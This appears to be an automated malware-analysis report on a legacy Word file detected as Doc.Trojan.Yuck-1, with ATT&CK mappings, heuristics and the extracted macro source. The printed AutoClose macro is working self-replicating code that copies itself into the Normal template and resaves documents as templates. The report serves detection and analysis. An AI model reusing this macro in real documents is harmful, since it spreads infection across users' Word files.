MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to copy itself to the Normal template and then save the current document as a template. This behavior is indicative of an attempt to establish persistence or prepare for further malicious execution. The ClamAV detection 'Doc.Trojan.Yuck-1' further supports the malicious nature of the file.
Heuristics 4
-
ClamAV: Doc.Trojan.Yuck-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Yuck-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 903 bytes |
SHA-256: 42334bc81932ae49b9a9fc6264b8b0333d1597ed5a367ffaecd1c53812b593cd |
|||
|
Detection
ClamAV:
Doc.Trojan.Yuck-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Function CopyMac(src, Tgt) As Long
On Error GoTo EndCopyMac
Application.OrganizerCopy _
Source:=src, _
Destination:=Tgt, _
Name:="AutoClose", _
Object:=wdOrganizerObjectProjectItems
EndCopyMac:
CopyMac = Err.Number
On Error GoTo 0
End Function
Sub MAIN()
ret = CopyMac(ActiveDocument.FullName, NormalTemplate.FullName)
If (ret = 5940) Then
ret = CopyMac(NormalTemplate.FullName, ActiveDocument.FullName)
If (ret = 0) Then
ActiveDocument.SaveAs _
FileName:=ActiveDocument.FullName, _
FileFormat:=wdFormatTemplate
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.